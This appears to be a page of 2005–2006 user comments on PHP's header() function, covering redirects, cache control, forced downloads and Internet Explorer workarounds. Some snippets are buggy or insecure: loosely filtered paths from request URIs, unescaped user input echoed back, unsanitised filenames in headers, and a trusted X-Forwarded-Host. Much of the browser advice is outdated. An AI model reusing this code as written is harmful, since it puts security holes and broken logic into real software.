To force pages to always load the data that was entered in the form prior to hitting a submit button, and prevent the browser's cache message from displaying, use the following code:

<?php

   // Original code found at http://www.mnot.net/cache_docs/

   header("Cache-Control: must-revalidate");
   $offset = 60 * 60 * 24 * -1;
   $ExpStr = "Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT";
   header($ExpStr);

?>

This will tell the browser that the page will expire in one day, and the cached form data will be used without prompting the user at all.

I have tested this in Internet Explorer 6, Firefox 1.5, and Opera 8.51, and it works as intended. I have tried other cache-control and expiry variants, but they either do not work, or do not work in every browser. This code appears to be a winner.
nath at dbpixels dot net
14-Apr-2006 03:47
not worked out a way round yet, but just to let you all know that the following code messes up IE2 beta 2 and causes pages to load blank... Any of you who use this and have clients who like to keep up with the latest technologies may want to remove, edit swiftly..

header("Cache-Control: no-cache, must-revalidate");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");

Cheers all
bkatz at usefulengineering dot com
09-Apr-2006 06:46
When doing a simple redirect using header, i.e.:

header("Location: login.php");

you may want to place a command to terminate your script following this, like exit:

header("Location: login.php");
exit();

Otherwise, you may find, unexpectedly, that your script following the redirect continues execution. Not sure if this is expected behavior, but regardless, in the case of, for instance, a redirect to a login page when a user is not logged in, that's definitely something you'll want to add to prevent "secured" code from running.
shawnfess at comcast dot net
09-Apr-2006 05:53
Internet Explorer will not accept certain filenames in the filename attribute of the Content-Disposition header. It will Sit 'N Spin until it finally times out. The following will not work when $fn contains "Web", "Browser" or "WebBrowser" (or any case variation thereof):

$fn = $row["sFilename"];
$fs = $row["lFileSize"];
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=$fn");
header("Content-length: $fs");
echo $row["blobData"];

Guess I should have looked here first. Yes, it does seem we're all searching for workarounds for IE.
-SHAWN-
gnoise at gmail dot com
03-Apr-2006 02:21
A small note on the header('Content-Disposition: attachment; filename="downloaded.pdf"') -usage:

I found out that the use of double-quotes (") around the filename doesn't work in Firefox, and is not needed for the header to work, even for filenames with spaces in it.
So use this instead:

<?

   header('Content-Disposition: attachment; filename=filename spaces are ok.pdf')

?>
nick dot b at kingstransport dot com dot au
23-Mar-2006 10:57
Constructing an absolute URL (for redirecting or other purposes) is full of pitfalls.  As well as considering the notes at http://www.php.net/manual/en/function.header.php#63006 and http://www.php.net/manual/en/function.header.php#61746 you need to consider this issue, applicable if you use ProxyPass (in apache).

Example httpd.conf
...
ProxyPass    /dir/  http: //10.1.1.1/dir/
...
Member of public  --->  Unix/Apache server  --->  IIS/PHP server
http: //nick.com/          nick.com              myphpsvr.nick.com
dir/phpinfo.php            20.10.5.1              10.1.1.1

When your script is on the IIS/PHP server, browsing from member of public, you will have script variables
<?php
// browsing from member of public
$_SERVER['HTTP_HOST'] == '10.1.1.6';
$_SERVER['HTTP_X_FORWARDED_HOST'] == 'nick.com';
$_SERVER['SERVER_NAME'] == '10.1.1.6';
?>

However, if you browse internally (like, when testing, http: //myphpsrv.nick.com/dir/phpinfo.php), the variables turn out like this
<?php
// browsing from internal, direct
$_SERVER['HTTP_HOST'] == 'myphpsvr.nick.com';
$_SERVER['SERVER_NAME'] == 'myphpsvr.nick.com';
// no $_SERVER['HTTP_X_FORWARDED_HOST']
?>

The point is, you need to test $_SERVER['HTTP_X_FORWARDED_HOST'] and use that in preference to either $_SERVER['HTTP_HOST'] or $_SERVER['SERVER_NAME'].

Nick Bishop.
URL's have intentionally been broken up to stop them being clickable.
steve at stevedix dot de
21-Mar-2006 09:39
Referring to the infamous Microsoft Explorer bug, particularly when outputting PDF : The problem is this -

Most well-behaved browsers require a mime-type before they attempt to display anything.  If they don't receive a mime-type from the server, then they revert to text/plain.

Not Microsoft Explorer.

Microsoft Explorer attempts to ascertain what type of file it is recieving by looking in the file first.  You can test this by renaming a graphic file so that it does not have a .extension (ie rename test.gif to be test), and upload it to your server.  Look at it via a URL, and any compliant browser will render it as text.  Not Microsoft Explorer, which renders the file as a graphic.  Unfortunately, this behavior is not consistent.

The really big problem comes with the Adobe postscript plugin.  Most browsers will shut up and listen when given a mime type for PDF.  Not Microsoft Explorer.  It sees that the url generating the file contains a .php, and gets confused.

I eventually discovered that the best way to stop this problem was to generate the pdf to a file, move it to a subdirectory under the htdocs, and then issue a redirect to it.  Examples of this method can be seen in use at www.onvista.de, such as

http://fonds.onvista.de/snapshot.html?ID_INSTRUMENT=6628444

Which launches a separate window, generates the pdf, and then redirects to it.

Naughty, naughty Microsoft browser.  No biscuit for you.
vaughan montgomery
11-Mar-2006 09:57
i was rackin my brains trying to figure out this IE bug..

when you hit the button to start the download,  in IE you get the dialogue box asking you whether you want to save the file to disk or open it. non of the methods on this page seemed to work.

after a lot of experimenting i found a solution which works in IE and firefox etc.  i don't know about mac as i don't own one.

the solution i used is >

$mimeType = $download->getVar('filetype');

$filePath = '<your path to file>/'.trim($filename);

if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

header("Pragma: public");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Transfer-Encoding: binary");
if(isset($mimeType))
{
header("Content-Type: " . $mimeType);
}
header("Content-Disposition: attachment; filename=" . $filename);

if(isset($mimeType) && strstr($mimeType, "text/"))
{
$fp = fopen($filePath, "r");
}
else
{
$fp = fopen($filePath, "rb");
}
fpassthru($fp);
exit();

exit() is also required.

note.  you maybe asking why Content-Length is not added, that is because for some reason adding content-length stopped the actual file downloading correctly or opening. i don't know why, but as it worked without, i wasn't worried about not having it.

please note tho, in the script, $download->getVar('filetype');  is a value that is pulled from a DB, the submission part of the script stores the mimetype in the db aswell, it was easier to do it that way, so adjust mimetype to whatever you require b4 you use it..

even pdf files download and also open aswell from the browser dialogue box in IE.
nino at clan-csc dot com
11-Mar-2006 01:32
There is actually a way to allow header() function after something.

Open your php.ini file and change the line
output_buffering = Off
to
output_buffering = On
this allows you to send headers no matter what.

But then you'll get an perfomance lowering.

So if perfomance matters alot to you, do this:

output_buffering = 4096

It is a REALLY small perfomance lowering, and you can send some header() 's.

-Nino
Jon
10-Mar-2006 05:38
Seems like we are all trying to get round this IE bug (Apache 2 + PHP Server (Solaris) / IE6), after going through the solutions here I've not been that sucessful - also yet to solve the https problem. The solution I've adopted for http is a modified version of the following link:

http://www.phpbuilder.com/board/showthread.php?threadid=10318152

Jon

function downloadFile ($file, $mimetype)
{
  $status = 0;
  if (($file != NULL) && file_exists($file)) {
   if(isset($_SERVER['HTTP_USER_AGENT']) &&
       preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT']))
   {
     // IE Bug in download name workaround
     ini_set( 'zlib.output_compression','Off' );
   }
   // header ('Content-type: ' . mime_content_type($file)
   header ('Content-type: ' . $mimetype);
   header ('Content-Disposition: attachment; filename="'.basename($file).'"');
   header ('Expires: '.gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y"))).' GMT');
   header ('Accept-Ranges: bytes');
   // Use Cache-control: private not following:
   // header ('Cache-control: no-cache, must-revalidate');
   header("Cache-control: private");
   header ('Pragma: private');

   $size = filesize($file);
   if(isset($_SERVER['HTTP_RANGE'])) {
     list($a, $range) = explode("=",$_SERVER['HTTP_RANGE']);
     //if yes, download missing part
     str_replace($range, "-", $range);
     $size2 = $size-1;
     $new_length = $size2-$range;
     header("HTTP/1.1 206 Partial Content");
     header("Content-Length: $new_length");
     header("Content-Range: bytes $range$size2/$size");
   }
   else
   {
     $size2=$size-1;
     header("Content-Range: bytes 0-$size2/$size");
     header("Content-Length: ".$size);
   }

   if ($file = fopen($file, 'r')) {
     while(!feof($file) and (connection_status()==0)) {
       print(fread($file, 1024*8));
       flush();
     }
     $status = (connection_status() == 0);
     fclose($file);
   }
  }
  return($status);
}

function downloadStream(&$stream, $filename, $mimetype)
{
  $status = 0;
  $size = strlen($stream);
  if ($size > 0) {
   if(isset($_SERVER['HTTP_USER_AGENT']) &&
       preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT']))
   {
     // IE Bug in download name workaround
     ini_set( 'zlib.output_compression','Off' );
   }
   // header ('Content-type: ' . mime_content_type($file)
   header ('Content-type: ' . $mimetype);
   header ('Content-Disposition: attachment; filename="' . $filename . '"');
   header ('Expires: '.gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y"))).' GMT');
   header ('Accept-Ranges: bytes');
   // Use Cache-control: private not following:
   // header ('Cache-control: no-cache, must-revalidate');
   header("Cache-control: private");
   header ('Pragma: private');

   if(isset($_SERVER['HTTP_RANGE'])) {
     list($a, $range) = explode("=",$_SERVER['HTTP_RANGE']);
     //if yes, download missing part
     str_replace($range, "-", $range);
     $size2 = $size-1;
     $new_length = $size2-$range;
     header("HTTP/1.1 206 Partial Content");
     header("Content-Length: $new_length");
     header("Content-Range: bytes $range$size2/$size");
   }
   else
   {
     $size2=$size-1;
     header("Content-Range: bytes 0-$size2/$size");
     header("Content-Length: ".$size);
   }

   // Dump the content.
   echo $stream;
   $status = 1;
  }
  return($status);
}
marc.giroux at pointpubmedia dot com
08-Mar-2006 05:58
i tried alot of ways to pass the IE bug and i finally stumbled upon 1 and here it is.. it work very well for me .. and it is IE/FireFox compatible

/* Force Download Function *IE WORKING* */
function force_download($filename) {

   $filesize = filesize($filename);
   if($filesize) {
       ini_set('zlib.output_compression', 'Off');

       /* IE FIX : FireFox Compatible */
       header("Content-Type: application/force-download\n");
       header("Content-Disposition: attachment; filename=$filename");
       /* Read It */
       $contents = fread(fopen($filename, "rb"), filesize($filename));
       /* Print It */
       echo $contents;
       exit;
   } else {
       return 0;
   }

}
kim at bonfils dot com
07-Mar-2006 05:31
In response to fig dot miguel at gmail dot com:

Please be aware that the "Refresh" header is not part of the official HTTP specification. Most browsers (like IE and Firefox) seem to support it, but I've run into problems with Safari (apparently, it adds an extra blank space to the URL, making it unusable).

So don't rely on the "Refresh" header. If you use it, make sure you test it on all relevant browsers.
cameron at prolifique dot com
01-Mar-2006 03:36
One further note about forcing downloads in Internet Explorer.

If the server has not yet issued an HTTP status code or has issued something other than a 200, you need to send HTTP/1.1 200 OK to the browser so that IE accepts the download without an error:

header("HTTP/1.1 200 OK");
and/or
header("Status: 200 OK");

I use a custom 404 error page to handle secure downloads. The user clicks on a link to a file such as 'http://mysite.com/user_files/file.txt'. That file does not exist, so my 404 page is invoked. It parses the address and if it finds the 'user_files' folder in the address, it attempts to open the file 'file.txt' from a non-web-accessible folder and sends it as a download instead of showing the 404 message.

The problem I had was that IE always showed this error when you attempted to download or open the file:
"Internet Explorer cannot download file.txt from mysite.com. Internet Explorer was not able to open this Internet site. The requested site is either unavailable or cannot be found. Please try again later." The download worked fine in FireFox, and strangely, even worked fine on my local test server (Windows XP) in IE. But on the remote server (Apache) in IE, it threw the error above until I added the above status header(s). Now the code reads:

     header("HTTP/1.1 200 OK");
     header("Status: 200 OK");
     header('Content-Type: application/force-download');
     header('Content-Disposition: attachment; filename="'.$downloadFile.'"');
     header('Content-Length: '.filesize($downloadFilePath));
     readfile($downloadFilePath);
einavb
28-Feb-2006 07:54
For all of you IE SSL desperados,
All the listed download tweaks did not work for me,
until I removed the "?" sign for the query string (IE SSL cache "feature").
me at macronesia dot net
22-Feb-2006 10:46
Since PHP 4.4.2, you'll need to have header(); on each line rather than header(" ... \r\n" . " .... \r\n");
mandor at mandor dot net
15-Feb-2006 09:14
When using PHP to output an image, it won't be cached by the client so if you don't want them to download the image each time they reload the page, you will need to emulate part of the HTTP protocol.

Here's how:

<?php

   // Test image.
   $fn = '/test/foo.png';

   // Getting headers sent by the client.
   $headers = apache_request_headers();

   // Checking if the client is validating his cache and if it is current.
   if (isset($headers['If-Modified-Since']) && (strtotime($headers['If-Modified-Since']) == filemtime($fn))) {
       // Client's cache IS current, so we just respond '304 Not Modified'.
       header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 304);
   } else {
       // Image not cached or cache outdated, we respond '200 OK' and output the image.
       header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 200);
       header('Content-Length: '.filesize($fn));
       header('Content-Type: image/png');
       print file_get_contents($fn);
   }

?>

That way foo.png will be properly cached by the client and you'll save bandwith. :)
timmerca.com
15-Feb-2006 12:07
I store a lot of images in databases rather than files, and PHP was causing my user's web browsers to not cache these images, which means that every time they went to my web site, they were reloading the same images over and over again.  To fix this, I have added the following headers to my download.php script:

Header("Expires: " . date("D, j M Y H:i:s", time() + (86400 * 30)) . " UTC");
Header("Cache-Control: Public");
Header("Pragma: Public");

This causes the user's web browsers to cache the image data (in this case for 30 days, but you can make that whatever you want).  This sped up my web sites and cut down on hits to my server considerably.  So, if you are delivering images through PHP, you should consider adding these headers to your script too.
fig dot miguel at gmail dot com
11-Feb-2006 01:42
A function to redirect, using different approaches. The destination page can include a full URL, a full path or a local path.
<?
function g_redirect($url,$mode)
/*  It redirects to a page specified by "$url".
 *  $mode can be:
 *    LOCATION:  Redirect via Header "Location".
 *    REFRESH:  Redirect via Header "Refresh".
 *    META:      Redirect via HTML META tag
 *    JS:        Redirect via JavaScript command
 */
{
  if (strncmp('http:',$url,5) && strncmp('https:',$url,6)) {

     $starturl = ($_SERVER["HTTPS"] == 'on' ? 'https' : 'http') . '://'.
                 (empty($_SERVER['HTTP_HOST'])? $_SERVER['SERVER_NAME'] :
                 $_SERVER['HTTP_HOST']);

     if ($url[0] != '/') $starturl .= dirname($_SERVER['PHP_SELF']).'/';

     $url = "$starturl$url";
  }

  switch($mode) {

     case 'LOCATION':

       if (headers_sent()) exit("Headers already sent. Can not redirect to $url");

       header("Location: $url");
       exit;

     case 'REFRESH':

       if (headers_sent()) exit("Headers already sent. Can not redirect to $url");

       header("Refresh: 0; URL=\"$url\"");
       exit;

     case 'META':

       ?><meta http-equiv="refresh" content="0;url=<?=$url?>" /><?
       exit;

     default: /* -- Java Script */

       ?><script type="text/javascript">
       window.location.href='<?=$url?>';
       </script><?
  }
  exit;
}
?>
vsnake at email dot ru
06-Feb-2006 02:51
in situation when I use SSL, sessions and send file to user technique, MSIE dont get a file.
This code don't work:

session_start();
header('Content-type: application/pdf');
header('Content-Disposition: inline; filename="file.pdf"');
header('Content-Length: ' . filesize($fileName));
readfile($fileName);

And I get a solution:

session_start();
header('Pragma: anytextexeptno-cache', true);
header('Content-type: application/pdf');
header('Content-Disposition: inline; filename="file.pdf"');
header('Content-Length: ' . filesize($fileName));
readfile($fileName);

The point is: replace header 'Pragma: no-cache'
Good luck!
spingary at yahoo dot com
13-Jan-2006 04:53
I was having trouble with streaming inline PDf's using PHP 5.0.2, Apache 2.0.54.

This is my code:

<?
header("Pragma: public");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: must-revalidate");
header("Content-type: application/pdf");
header("Content-Length: ".filesize($file));
header("Content-disposition: inline; filename=$file");
header("Accept-Ranges: ".filesize($file));
readfile($file);
exit();
?>
It would work fine in Mozilla Firefox (1.0.7) but with IE (6.0.2800.1106) it would not bring up the Adobe Reader plugin and instead ask me to save it or open it as a PHP file.

Oddly enough, I turned off ZLib.compression and it started working.  I guess the compression is confusing IE.  I tried leaving out the content-length header thinking maybe it was unmatched filesize (uncompressed number vs actual received compressed size), but then without it it screws up Firefox too.

What I ended up doing was disabling Zlib compression for the PDF output pages using ini_set:

<?
ini_set('zlib.output_compression','Off');
?>

Maybe this will help someone. Will post over in the PDF section as well.
Ciantic
24-Dec-2005 10:07
This is a bit extended the idea what Per Eckerdal had. Note that this contains all HTTP status responses defined in RFC2616 section 6.1.1 http://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html#sec6.1.1

<?PHP
/**
 * HTTP Protocol defined status codes
 * @param int $num
 */
function HTTPStatus($num) {

   static $http = array (
       100 => "HTTP/1.1 100 Continue",
       101 => "HTTP/1.1 101 Switching Protocols",
       200 => "HTTP/1.1 200 OK",
       201 => "HTTP/1.1 201 Created",
       202 => "HTTP/1.1 202 Accepted",
       203 => "HTTP/1.1 203 Non-Authoritative Information",
       204 => "HTTP/1.1 204 No Content",
       205 => "HTTP/1.1 205 Reset Content",
       206 => "HTTP/1.1 206 Partial Content",
       300 => "HTTP/1.1 300 Multiple Choices",
       301 => "HTTP/1.1 301 Moved Permanently",
       302 => "HTTP/1.1 302 Found",
       303 => "HTTP/1.1 303 See Other",
       304 => "HTTP/1.1 304 Not Modified",
       305 => "HTTP/1.1 305 Use Proxy",
       307 => "HTTP/1.1 307 Temporary Redirect",
       400 => "HTTP/1.1 400 Bad Request",
       401 => "HTTP/1.1 401 Unauthorized",
       402 => "HTTP/1.1 402 Payment Required",
       403 => "HTTP/1.1 403 Forbidden",
       404 => "HTTP/1.1 404 Not Found",
       405 => "HTTP/1.1 405 Method Not Allowed",
       406 => "HTTP/1.1 406 Not Acceptable",
       407 => "HTTP/1.1 407 Proxy Authentication Required",
       408 => "HTTP/1.1 408 Request Time-out",
       409 => "HTTP/1.1 409 Conflict",
       410 => "HTTP/1.1 410 Gone",
       411 => "HTTP/1.1 411 Length Required",
       412 => "HTTP/1.1 412 Precondition Failed",
       413 => "HTTP/1.1 413 Request Entity Too Large",
       414 => "HTTP/1.1 414 Request-URI Too Large",
       415 => "HTTP/1.1 415 Unsupported Media Type",
       416 => "HTTP/1.1 416 Requested range not satisfiable",
       417 => "HTTP/1.1 417 Expectation Failed",
       500 => "HTTP/1.1 500 Internal Server Error",
       501 => "HTTP/1.1 501 Not Implemented",
       502 => "HTTP/1.1 502 Bad Gateway",
       503 => "HTTP/1.1 503 Service Unavailable",
       504 => "HTTP/1.1 504 Gateway Time-out"
   );

   header($http[$num]);
}
?>
cory at lavacube dot com
17-Nov-2005 12:26
Using apache and mod_vhost_alias, you have the oportunity to produce some amazing websites. Take this for example:

Using mod_vhost_alias, you can have apache point to your index.php file... Doing so, you can use PHP to control EVERY aspect of your website, including making "human readable paths" (mysite.com/info/contact_us/) very easily.

This is done with the Apache/mod_vhost_alias directive "VirtualDocumentRoot".
(eg: VirtualDocumentRoot "/www/mysite.com/index.php")

However, this makes it harder to display images and documents/files you would normally have static. You will require a page to actually handle the request and load the appropriate file... A simple example:

Assume URL is: http://mysite.com/images/firefox_button.png

<?php

$path = './images/';
$image = preg_replace('/^\/images\//i', null, $_SERVER['REQUEST_URI']);
$image = str_replace('..', null, $image);

$filename = $path . $image;
$file_info = pathinfo($filename);
$extn = $file_info['extension'];

if( file_exists($filename) )
{
   header('Content-Type: image/'.$extn);
   $open = fopen($filename, 'r');
   fpassthru($open);
   fclose($open);
}
else
{
   header('HTTP/1.0 404 Not Found');
}

exit();

?>

The fun thing about this, is you can also supply something like this to control a cache of these images... This will greatly lighten the load on your server:
   Before:
       header('Content-Type: image/'.$extn);
   Add:
       header('Content-Control: cache');
       header('Content-Type: image/'. date('r', time()+604800)); // expire in 7 days

With VirtualDocumentRoot, you can do almost _anything_...
Some prime examples where using VirtualDocumentRoot would be helpful:
- create, handle and manage 'human readable' URLs
- potentially thwart "leeching" of media, using sessions/cookies(eg: require a hit to a specific page before any images can be loaded, etc.)
- a "mod_speling" handling system
- create a "wiki" style site with ease
- and many, many others... just use your imagination

Enjoy. :-)
brian at pjcservices dot com
28-Oct-2005 01:10
For Internet Explorer:

When using an attachement Content-Dispositon, it seems the following headers are also required:

header("Cache-Control: cache, must-revalidate");
header("Pragma: public");

If you have Cache-Control as no-cache, IE fails.

I have done several tests and those two lines fixed my script. (It was trying to download a .csv)

The above seems to be especially true on https connections.
hsmcdonald at gmail dot com
22-Oct-2005 01:39
I had a special situation where I wanted to have a "Download" button on a PHP script, and have the the script post to itself to call a special block of code to initiate download of dynamically created content (rather than display contents of a file).

I was running in circles trying to get IE SP1, SP2 and Firefox  on Win98, 2000, and XP to all work where the download prompt is displayed AND the filename is controlled by me and not the browser.  I found the following headers from a form that seem to work in all cases.:

<?php

// load content into var

$filecontent="Some text/code im creating in the script";
$downloadfile="somefile.txt";

header("Content-disposition: attachment; filename=$downloadfile");
header("Content-Type: application/force-download");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".strlen($filecontent));
header("Pragma: no-cache");
header("Expires: 0");

?>

Hope this helps someone..
wraezor at gmail dot com
21-Oct-2005 11:08
Adding onto all the helpful material here, I have something to add, discovered by trial and error.

When initiating a file download with the following command:
header('Content-Disposition: attachment; filename="downloaded.pdf"');

Ensure that the 'filename' does not contain a directory path.  It will work, but Internet Explorer will not pick up the filename.

Example:

I had a script, called save.php which did just that, grabbing individual files in a subdirectory ("results/downloaded.pdf").  Since it was in a subdirectory, it could find the file, but IE (Using 6sp1) wouldn't pick up the name when suggesting for the 'Save' option.  Firefox and Opera were fine.

So, moral of the story, the 'filename' should only ever contain a filename, no directories.  This is only really relevant when people couldn't be expected to know the filename/extension, like in my case with FRF files.  (Note: This was my experience at least.)
me at macronesia dot net
21-Oct-2005 08:27
Make sure you place Content-Type in front of Content-Disposition or else you will run into problems!

It will also save you an hour of head scratching.
http://pye.dyndns.org
19-Oct-2005 06:18
The example by digibluez at gmail dot com, 06-Sep-2005 08:12 contains an error, the 'charset' part of the 'Content-Type' header should be written with an '=' sign, so instead:

<?php
header("Content-type: text/css; charset=UTF-8");
?>
denilson at vialink dot com dot br
12-Oct-2005 07:24
If you want to enable caching of your page, you have two solutions: use Etag or use Last-Modified.

Someone has already posted here the code to use Etag. However, sometimes, it is easier (better) to use Last-Modified. The full code is here:

<?php
function get_http_mdate()
{
   return gmdate("D, d M Y H:i:s",filemtime($SCRIPT_FILENAME))." GMT";
}

function check_modified_header()
{
   // This function is based on code from http://ontosys.com/php/cache.html

   $headers=apache_request_headers();
   $if_modified_since=preg_replace('/;.*$/', '', $headers['If-Modified-Since']);
   if(!$if_modified_since)
       return;

   $gmtime=get_http_mdate();

   if ($if_modified_since == $gmtime) {
       header("HTTP/1.1 304 Not Modified");
       exit;
   }
}

check_modified_header();
header("Last-Modified: ".get_http_mdate());
?>

The script checks if time from "If-Modified-Since" header is equal to current modified-time. If it is, a 304 code is returned, and PHP exits. If it is not, PHP continues normally.

You may want to change how "get_http_mdate()" function gets the time. You may want to get time from another file, or from somewhere else (like a date field on database).
memoimyself at yahoo dot com dot br
08-Aug-2005 11:01
PROBLEM: File downloads work fine with browsers other than Internet Explorer, but when IE is used, the following error message is issued: "Internet Explorer cannot download file from server. Internet Explorer was not able to open this Internet site. The requested site is either unavailable or cannot be found. Please try again later."

PROBABLE CAUSE: File is being downloaded over a secure connection (SSL, a.k.a. HTTPS protocol) and IE has received a "no-cache" header (as also mentioned by Harry and james at charity dot org). More info on the problem: http://support.microsoft.com/default.aspx?scid=kb;en-us;316431

SOLUTION: The following have worked for me:

header('Pragma: private');
header('Cache-control: private, must-revalidate');

or simply

header('Pragma: ');
header('Cache-control: ');

(The first option is probably safer, but that's just a guess.)
boris at psyonline dot ru
05-Aug-2005 07:37
On some servers IE tries to use the script name rather than the supplied filename in the Content-Disposition header. But it works correctly with unknown Content-Encoding! :-)

<?php
header("Content-Encoding: AnyTrash");
header("Content-Disposition: attachment; filename=download.txt");
echo "Content";
?>
Luther Blisset
09-Jul-2005 12:57
For a detailed list of HTTP status codes see:
http://www.w3.org/Protocols/HTTP/1.1/spec.html#Status-Codes
http://www.w3.org/Protocols/HTTP/1.0/spec.html#Status-Codes
cameron at prolifique dot com
12-Jun-2005 03:29
I use a custom PHP 404 page that does several things:

 Checks the database for a "virtual" page matching the missing page address, and if found, includes and displays it, issuing an HTTP 200 OK status. The client browser receives the page contents and never even knows that the page doesn't actually exist on the server.

 Checks the database for a redirect from this missing page address to another address, and if found, does the redirect by issuing an HTTP 302 Object Moved status and Location header.

 Tries to fix common address errors, such as removing periods or extra slashes at the end of the address, and then checks for a physical page with a matching address, a virtual page with a matching address, or a redirect, and takes the appropriate action.

 If all of the above fail, it simply shows a friendly "Page Not Found" error.

 In the case of redirects and genuine missing pages, the missing page address (and the number of hits on it) is logged to the database. In the case of genuine missing pages, an email is also sent to me so I can identify and fix broken links.

The "virtual" page behavior is perhaps the most useful, as it allows me to create totally dynamic pages on the server but use static addresses for them.

However, on one particular server on which I used this system, my HTTP 200 header wasn't getting sent correctly:

<?php
header("HTTP/1.1 200 OK");
?>

Instead, the browser received a 404, and even if the virtual page content was included and sent correctly (it was), IE showed its typical 404 error page instead based on the status code (but only if "show friendly HTTP error messages" is checked, which is the default).

Finally found this note in an older or alternate version of the PHP manual (at http://academ.hvcc.edu/~kantopet/php/manual/function.header.html):

Note: In PHP 3, this only works when PHP is compiled as an Apache module. You can achieve the same effect using the Status header.

<?php
header("Status: 404 Not Found");
?>

Though our server uses PHP/4.3.10, I thought this was worth a try, so I tried issuing both commands:

<?php
header("HTTP/1.1 200 OK");
header("Status: 200 OK");
?>

And, in fact, it worked.

So if you find that using header("HTTP/1.1 ###") isn't working, try the header("Status: ###") instead or as well.
tylerd gmail
22-May-2005 05:19
I was sick of the cookie domain handling issues presented by my situation:
www.foo.com/phpBB2/ - my forum
forum.foo.com - vhost to www.foo.com/phpBB2/
forums.foo.com - vhost to www.foo.com/phpBB2/

So to force all users to use the vhost I prefer (forum.*) while still passing on the entire URI (like if they were linked to a post) I added this to phpBB2/includes/page_header.php:
<?php

if($_SERVER['HTTP_HOST'] != 'forum.foo.com')
{
   if(!strstr($_SERVER['REQUEST_URI'], "phpBB2"))    { header("Location: http://forum.foo.com" . $_SERVER['REQUEST_URI']); }
   else { header("Location: http://forum.foo.com" . substr($_SERVER['REQUEST_URI'], 7)); }
}

// yadda yadda yadda
?>
I'm sure this would work for many other situations.
com dot gmail at schaefer dot peter
10-May-2005 02:02
Regarding the IE pdf problem, doing the variation of not sending an
Accept-Ranges: bytes
header seems to make a difference. Strangely enough, some pdfs just work fine without these complications, so maybe changing that header just forced invalidation of the IE cache(I had emptied it, but who knows how IE really works).

       //header("Accept-Ranges: bytes");
       $filename= 'Labels'. date("ymdhis") . '.pdf';

       //FIX: IE6
       header('Content-type: application/pdf');
       header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
       header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
       header("Pragma: public");
       header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

       //header("Cache-Control: private");
       $pdf->stream( array('Content-Disposition'=>$filename) );

This is a large pdf file.

For a smaller pdf file, the straightforward thing worked too:

       header("Accept-Ranges: bytes");
       header("Cache-Control: private");
       $pdf->stream();

Weird :-/
TJ
04-May-2005 06:49
I had made a download script for a client that would just register the number of times a document had been downloaded in a database. When using headers and the readfile()-function to pass the file through the browser I got some weird errors with half of the powerpoint files I tried to download.

My solution:
 - Register the hitcount in the database
 - Instead of using headers and readfile, forward the user to the file he/she originally requested by using the following code:

header("HTTP/1.0 307 Temporary redirect");
echo header("Location: http://www.example.com/filename");    exit();
pornel at despammed dot com
28-Apr-2005 11:00
Please read caching tutorial and test scripts with: http://www.web-caching.com/cacheability.html before copying & pasting all "urban legend" caching headers.

Another note:
Content-Disposition is non-standard header and sending files with readfile() doesn't support resuming, caching and might be problematic with large files. In some cases it's better to use Apache mod_rewrite instead.
mjs15451 at hotmail dot com
23-Apr-2005 03:04
I was looking at this section and I noticed that it didn't mention anything about javascript includes using php files.  I tested this code on Gecko browsers (Firefox, Mozilla, Netscape), MSIE and Opera and they all can include the php file with this header:

header("Content-type: application/x-javascript");

This would be the code you would use to include it:

<script type="text/javascript" src="javascript.php"></script>

MSIE doesn't understand the file only if it is called directly in the location bar; it still executes the file when called through html.

I believe this header is necessary for legacy browsers, i.e.  Netscape 4.x or less.
james at charity dot org
06-Apr-2005 12:15
If you're creating a download page for Internet Explorer, the following code works:

   if(isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT'])) {
       // IE Bug in download name workaround
       ini_set( 'zlib.output_compression','Off' );
   }

   header('Content-type: ' . $file['type']);
   header("Pragma: public");
   header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
   header('Content-Disposition: attachment; filename="' . $file['filename'] . '"');
   print($file['data']);

I will note that setting content length or size headers will cause IE to see the file being opened/saved as 0 bytes and will on occasion open the content of the file in the browser itself after the download fails.

I also recieved file not found problems until I added the Pragma and Cache-Control headers.

Yet another one of those "Thanks Bill" situations.

--james
snagnever at gmail dot com
01-Apr-2005 05:56
Ok, maybe it can be usefull -- i was trying to save space on my disk and my transfer-rate, but i didn't want to sacrifice the quality of my pictures.
So, it can be usefull for people like me.

The file, when is sent to the server, is compressed in gzip:

<?php
$content = file_get_contents($_FILES['userfile']['tmp_name']);
$content = gzencode($content,9);
$id = fopen("/new/path/images/thename.png.gz","w+");
fwrite($id,$content);
fclose($id);
?>

So, it is saved in a new path, that cannot be accessed remotely, to avoid unwanted remote-users accessing it.

But there's a script that offers it to the user: show_image.php?image=thename.png

<?php
/* start of the script */
$file_path  = "/new/path/images/";
$file_name = basename($_GET['image']);

if( file_exists($file_path . $file_name . ".gz") ){
   header("Content-Encoding: gzip");
   header("Content-type: image/png");
   $content = file_get_contents( $file_path . $file_name . ".gz" );
   echo $content;
} else {
   echo "The file <i> $file_names </i> does not exist.";
}
/* end of the script */
?>

Maybe you want to control if the client does support the gzip compression, so u can use it:
<?php
if( eregi("gzip",$_SERVER['HTTP_ACCEPT_ENCODING']) ){
  /* the script outputs the headers and the gz file content, as show_image.php script does */
} else {
   echo "Your browser does not support gzip compression. Update it.";
}
?>
markus dot amsler at oribi dot org
15-Mar-2005 01:19
I had some troubles with additional numbers being sent in the raw http response. This was because of the chunked encoding of the http response. To disable chunking you can simply send a Content-Length header with the apropriate length set.
fedenuche at gamail dot com
